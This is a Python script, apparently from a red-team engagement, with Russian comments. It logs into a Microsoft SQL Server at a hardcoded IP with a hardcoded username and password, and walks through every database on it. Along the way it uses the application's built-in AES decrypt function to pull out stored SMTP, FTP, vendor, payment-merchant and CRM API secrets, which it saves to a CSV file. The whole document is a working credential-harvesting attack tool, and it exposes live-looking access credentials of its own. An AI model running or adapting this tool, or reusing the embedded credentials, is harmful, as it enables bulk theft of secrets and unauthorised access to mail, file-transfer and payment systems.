#!/usr/bin/env python3
"""
Сбор расшифрованных usernames и passwords для всех типов секретов
"""
import subprocess
import csv
import json
from pathlib import Path

SERVER = "50.21.183.111"
USER = "irely"
PASS = "iRely486"
OUTPUT_DIR = Path('/root/ir-assessment/redteam/irelydata/endpoints_usernames_decrypted')
OUTPUT_DIR.mkdir(exist_ok=True)

def sqlcmd(db, query, timeout=30):
    """Запуск sqlcmd через docker"""
    cmd = [
        "docker", "run", "--rm", "--network", "host",
        "mcr.microsoft.com/mssql/server:2022-latest",
        "/opt/mssql-tools18/bin/sqlcmd",
        "-S", SERVER, "-U", USER, "-P", PASS, "-C",
        "-d", db,
        "-Q", query,
        "-s", "|", "-W"
    ]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return result.stdout, result.stderr
    except subprocess.TimeoutExpired:
        return "", "TIMEOUT"

def get_databases():
    """Получить список баз данных"""
    cmd = [
        "docker", "run", "--rm", "--network", "host",
        "mcr.microsoft.com/mssql/server:2022-latest",
        "/opt/mssql-tools18/bin/sqlcmd",
        "-S", SERVER, "-U", USER, "-P", PASS, "-C",
        "-Q", "SET NOCOUNT ON; SELECT name FROM sys.databases WHERE name NOT IN ('master','model','msdb','tempdb') ORDER BY name",
        "-s", "|", "-W", "-h", "-1"
    ]
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
    lines = [l.strip() for l in result.stdout.strip().splitlines() if l.strip()]
    skip = ('To learn', 'SQL Server', 'This container', 'user', 'visit', 'running', 'as', 'more', 'is', 'mssql', 'container')
    dbs = [l for l in lines if not any(l.startswith(p) for p in skip) and l not in ('i21Hangfire',) and '\\' not in l]
    return dbs

def table_exists(db, table):
    """Проверить существование таблицы"""
    stdout, _ = sqlcmd(db, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='{table}'", timeout=15)
    for line in stdout.strip().splitlines():
        if line.strip().isdigit():
            return int(line.strip()) > 0
    return False

def column_exists(db, table, column):
    """Проверить существование колонки"""
    stdout, _ = sqlcmd(db, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='{table}' AND COLUMN_NAME='{column}'", timeout=15)
    for line in stdout.strip().splitlines():
        if line.strip().isdigit():
            return int(line.strip()) > 0
    return False

def collect_decrypted_smtp(db):
    """Собрать расшифрованные SMTP credentials"""
    credentials = []
    
    # tblSMCompanyPreference (глобальные настройки)
    if table_exists(db, 'tblSMCompanyPreference'):
        if column_exists(db, 'tblSMCompanyPreference', 'strSMTPUserName'):
            query = """
            SELECT 
                intCompanyPreferenceId,
                strSMTPUserName,
                dbo.fnAESDecryptASym(strSMTPPassword) AS decrypted_password,
                strSMTPHost,
                intSMTPPort
            FROM tblSMCompanyPreference 
            WHERE strSMTPUserName IS NOT NULL 
            AND strSMTPPassword IS NOT NULL 
            AND LEN(strSMTPPassword) > 40
            """
            stdout, _ = sqlcmd(db, query)
            
            for line in stdout.strip().splitlines():
                if '|' in line and not line.startswith('---'):
                    parts = [p.strip() for p in line.split('|')]
                    if len(parts) >= 5:
                        credentials.append({
                            'db': db,
                            'table': 'tblSMCompanyPreference',
                            'type': 'smtp_global',
                            'pk': parts[0],
                            'username': parts[1],
                            'password_decrypted': parts[2],
                            'host': parts[3],
                            'port': parts[4]
                        })
    
    # tblEMEntitySMTPInformation (персональные настройки)
    if table_exists(db, 'tblEMEntitySMTPInformation'):
        if column_exists(db, 'tblEMEntitySMTPInformation', 'strUserName'):
            query = """
            SELECT 
                intSMTPInformationId,
                strUserName,
                dbo.fnAESDecryptASym(strPassword) AS decrypted_password,
                strSMTPServer,
                strSMTPPort
            FROM tblEMEntitySMTPInformation 
            WHERE strUserName IS NOT NULL 
            AND strPassword IS NOT NULL 
            AND LEN(strPassword) > 40
            """
            stdout, _ = sqlcmd(db, query)
            
            for line in stdout.strip().splitlines():
                if '|' in line and not line.startswith('---'):
                    parts = [p.strip() for p in line.split('|')]
                    if len(parts) >= 5:
                        credentials.append({
                            'db': db,
                            'table': 'tblEMEntitySMTPInformation',
                            'type': 'smtp_personal',
                            'pk': parts[0],
                            'username': parts[1],
                            'password_decrypted': parts[2],
                            'host': parts[3],
                            'port': parts[4]
                        })
    
    return credentials

def collect_decrypted_ftp(db):
    """Собрать расшифрованные FTP credentials"""
    credentials = []
    
    # tblSMCompanyPreference (глобальные настройки)
    if table_exists(db, 'tblSMCompanyPreference'):
        if column_exists(db, 'tblSMCompanyPreference', 'strFTPUser'):
            query = """
            SELECT 
                intCompanyPreferenceId,
                strFTPUser,
                dbo.fnAESDecryptASym(strFTPPassword) AS decrypted_password,
                strFTPHost,
                intFTPPort
            FROM tblSMCompanyPreference 
            WHERE strFTPUser IS NOT NULL 
            AND strFTPPassword IS NOT NULL 
            AND LEN(strFTPPassword) > 40
            """
            stdout, _ = sqlcmd(db, query)
            
            for line in stdout.strip().splitlines():
                if '|' in line and not line.startswith('---'):
                    parts = [p.strip() for p in line.split('|')]
                    if len(parts) >= 5:
                        credentials.append({
                            'db': db,
                            'table': 'tblSMCompanyPreference',
                            'type': 'ftp_global',
                            'pk': parts[0],
                            'username': parts[1],
                            'password_decrypted': parts[2],
                            'host': parts[3],
                            'port': parts[4]
                        })
    
    # tblAPVendor (настройки для vendor)
    if table_exists(db, 'tblAPVendor'):
        if column_exists(db, 'tblAPVendor', 'strStoreFTPUsername'):
            query = """
            SELECT 
                intEntityId,
                strStoreFTPUsername,
                dbo.fnAESDecryptASym(strStoreFTPPassword) AS decrypted_password,
                strStoreFTPPath
            FROM tblAPVendor 
            WHERE strStoreFTPUsername IS NOT NULL 
            AND strStoreFTPPassword IS NOT NULL 
            AND LEN(strStoreFTPPassword) > 40
            """
            stdout, _ = sqlcmd(db, query)
            
            for line in stdout.strip().splitlines():
                if '|' in line and not line.startswith('---'):
                    parts = [p.strip() for p in line.split('|')]
                    if len(parts) >= 4:
                        credentials.append({
                            'db': db,
                            'table': 'tblAPVendor',
                            'type': 'ftp_vendor',
                            'pk': parts[0],
                            'username': parts[1],
                            'password_decrypted': parts[2],
                            'host': parts[3]  # FTP path instead of host
                        })
    
    return credentials

def collect_decrypted_merchant(db):
    """Собрать расшифрованные Merchant credentials"""
    credentials = []
    
    # tblSMCompanyPreference (глобальные настройки)
    if table_exists(db, 'tblSMCompanyPreference'):
        if column_exists(db, 'tblSMCompanyPreference', 'strMerchantId'):
            query = """
            SELECT 
                intCompanyPreferenceId,
                strMerchantId,
                dbo.fnAESDecryptASym(strMerchantPassword) AS decrypted_password,
                strPaymentServer
            FROM tblSMCompanyPreference 
            WHERE strMerchantId IS NOT NULL 
            AND strMerchantPassword IS NOT NULL 
            AND LEN(strMerchantPassword) > 40
            """
            stdout, _ = sqlcmd(db, query)
            
            for line in stdout.strip().splitlines():
                if '|' in line and not line.startswith('---'):
                    parts = [p.strip() for p in line.split('|')]
                    if len(parts) >= 4:
                        credentials.append({
                            'db': db,
                            'table': 'tblSMCompanyPreference',
                            'type': 'merchant_global',
                            'pk': parts[0],
                            'username': parts[1],  # merchant_id
                            'password_decrypted': parts[2],
                            'host': parts[3]  # payment server
                        })
    
    return credentials

def collect_decrypted_api(db):
    """Собрать расшифрованные API credentials"""
    credentials = []
    
    # tblCRMCompanyConfig (Hubspot и другие CRM)
    if table_exists(db, 'tblCRMCompanyConfig'):
        if column_exists(db, 'tblCRMCompanyConfig', 'strHubspotAPIToken'):
            query = """
            SELECT 
                intCompanyConfigId,
                strHubspotAPIToken,
                dbo.fnAESDecryptASym(strOutlookClientSecret) AS decrypted_outlook_secret,
                strCompanyName
            FROM tblCRMCompanyConfig 
            WHERE (strHubspotAPIToken IS NOT NULL OR strOutlookClientSecret IS NOT NULL)
            AND (LEN(strHubspotAPIToken) > 40 OR LEN(strOutlookClientSecret) > 40)
            """
            stdout, _ = sqlcmd(db, query)
            
            for line in stdout.strip().splitlines():
                if '|' in line and not line.startswith('---'):
                    parts = [p.strip() for p in line.split('|')]
                    if len(parts) >= 4:
                        credentials.append({
                            'db': db,
                            'table': 'tblCRMCompanyConfig',
                            'type': 'api_crm',
                            'pk': parts[0],
                            'username': parts[3],  # company name
                            'password_decrypted': parts[1],  # hubspot token
                            'host': parts[2]  # outlook secret
                        })
    
    return credentials

def main():
    print("=== Сбор расшифрованных usernames и passwords ===")
    
    dbs = get_databases()
    print(f"Баз данных: {len(dbs)}")
    
    all_credentials = []
    
    for db in dbs:
        print(f"\n[{db}]")
        
        # SMTP credentials
        smtp_creds = collect_decrypted_smtp(db)
        if smtp_creds:
            print(f"  SMTP: {len(smtp_creds)} записей")
            all_credentials.extend(smtp_creds)
        
        # FTP credentials
        ftp_creds = collect_decrypted_ftp(db)
        if ftp_creds:
            print(f"  FTP: {len(ftp_creds)} записей")
            all_credentials.extend(ftp_creds)
        
        # Merchant credentials
        merchant_creds = collect_decrypted_merchant(db)
        if merchant_creds:
            print(f"  Merchant: {len(merchant_creds)} записей")
            all_credentials.extend(merchant_creds)
        
        # API credentials
        api_creds = collect_decrypted_api(db)
        if api_creds:
            print(f"  API: {len(api_creds)} записей")
            all_credentials.extend(api_creds)
    
    # Сохраняем результаты
    if all_credentials:
        output_file = OUTPUT_DIR / 'decrypted_credentials.csv'
        fieldnames = ['db', 'table', 'type', 'pk', 'username', 'password_decrypted', 'host', 'port']
        
        with open(output_file, 'w', newline='', encoding='utf-8') as f:
            writer = csv.DictWriter(f, fieldnames=fieldnames)
            writer.writeheader()
            writer.writerows(all_credentials)
        
        print(f"\n=== Результаты ===")
        print(f"Всего записей: {len(all_credentials)}")
        print(f"Файл: {output_file}")
        
        # Группировка по типам
        by_type = {}
        for cred in all_credentials:
            type_key = cred['type']
            if type_key not in by_type:
                by_type[type_key] = []
            by_type[type_key].append(cred)
        
        print(f"\nПо типам:")
        for type_key, creds in by_type.items():
            print(f"  {type_key}: {len(creds)} записей")
    else:
        print("\nНет данных для сохранения")

if __name__ == '__main__':
    main()